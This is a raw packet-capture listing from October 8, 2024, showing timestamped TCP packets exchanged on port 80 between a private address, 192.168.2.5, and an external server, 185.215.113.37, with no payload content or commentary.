Oct 8, 2024 11:18:29.788881063 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.788893938 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.788904905 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.788911104 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.788917065 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.788923025 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.788933992 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.788944006 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.788959980 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.788961887 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.788963079 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.788971901 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.788980007 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.788983107 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.788995981 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.789005995 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.789005995 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.789017916 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.789031029 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.789042950 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.789042950 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.789042950 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.789053917 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.789064884 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.789072990 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.789076090 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.789088011 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.789107084 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.789107084 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.789123058 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.789210081 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.789251089 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.789268017 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.789278984 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.789289951 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.789289951 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.789289951 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.789302111 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.789313078 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.789324999 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.789336920 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.789336920 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.789355993 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.789413929 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.789438009 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.789503098 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.789524078 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.789561033 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.789561987 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.789573908 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.789585114 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.789594889 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.789606094 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.789634943 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.789661884 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.789671898 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.789768934 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.789782047 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.789786100 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.789792061 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.789817095 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.789834023 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.789844036 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.789853096 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.789854050 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.789896965 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.789896965 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.789930105 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.789942026 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.789952040 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.789963007 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.790008068 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.790008068 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.790018082 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.790030956 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.790040970 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.790069103 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.790076017 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.790076017 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.790102959 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.790112019 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.790113926 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.790126085 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.790137053 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.790147066 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.790149927 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.790149927 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.790158033 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.790168047 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.790378094 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.880028963 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880039930 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880049944 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880089998 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.880112886 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880153894 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.880153894 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.880188942 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880201101 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880211115 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880228043 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880239010 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880243063 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.880249977 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880260944 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880280972 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.880280972 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.880290031 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880306005 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880323887 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880331039 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.880331039 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880331039 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.880357027 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880379915 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.880379915 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.880402088 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.880429029 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880439997 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880450010 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880460024 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880470991 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880475044 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.880482912 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880495071 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880517006 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880521059 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.880521059 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.880563974 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.880563974 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.880570889 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880588055 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880599976 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880609989 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880624056 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.880659103 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.880673885 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880686045 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880692005 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880707979 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880719900 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880729914 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880739927 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880758047 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880767107 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.880767107 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.880769014 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880800009 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.880800009 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.880803108 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880816936 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880827904 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880830050 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.880877972 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.880877972 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.880882978 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880896091 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880913019 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880923986 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880939007 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880948067 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.880949020 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880960941 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.880978107 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.880978107 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.880992889 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881004095 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881010056 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.881016970 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881042004 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881051064 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.881051064 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.881082058 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.881088018 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881099939 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881155014 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881165981 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881174088 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.881175995 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881186962 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881198883 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881222010 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.881222010 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.881243944 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.881257057 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881268978 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881278992 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881289005 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881302118 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.881306887 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881316900 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881328106 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881328106 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.881345987 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881357908 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881367922 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881373882 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.881373882 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.881381989 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881419897 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.881419897 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.881421089 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881433964 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881477118 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.881541967 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881552935 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881562948 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881572962 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881583929 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881593943 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881606102 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881608009 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.881608009 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.881620884 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881632090 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881643057 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881648064 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.881648064 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.881659985 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881671906 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881680965 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881691933 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.881691933 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.881728888 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.881728888 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.881854057 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881875992 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881886005 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881934881 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.881934881 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.881967068 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881978035 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881989002 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.881999969 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.882009983 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.882021904 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.882051945 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.882051945 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.882296085 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.882307053 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.882317066 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.882330894 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.882352114 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.882378101 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.882380009 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.882390976 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.882407904 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.882457018 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.882457018 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.882482052 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.882500887 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.882515907 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.882525921 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.882535934 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.882543087 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.882546902 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.882564068 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.882575989 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.882580042 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.882580042 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.882586956 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.882599115 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.882607937 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.882644892 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.882656097 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.882667065 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.882672071 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.882672071 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.882678032 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.882700920 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.882700920 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.882724047 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.882750988 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.882762909 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.882772923 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.882787943 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.882798910 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.882808924 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.882819891 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.882824898 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.882824898 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.882826090 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.882852077 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.882890940 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.972955942 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.972973108 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.972984076 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.973001957 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.973010063 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.973014116 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.973027945 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.973041058 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.973057032 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.973057985 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.973078966 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.973082066 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.973088980 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.973098040 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.973107100 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.973109961 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.973124027 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.973134995 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.973135948 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.973135948 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.973171949 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.973186016 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.973186016 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.973192930 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.973206997 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.973227024 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.973231077 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.973231077 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.973238945 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.973248959 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.973258018 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.973259926 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.973259926 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.973267078 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.973280907 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.973323107 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.973323107 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.973349094 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.973361015 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.973371029 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.973381042 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.973395109 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.973411083 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.973412037 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.973422050 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.973429918 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.973429918 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:29.973434925 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:29.973448038 CEST	80	49706	185.215.113.37	192.168.2.5
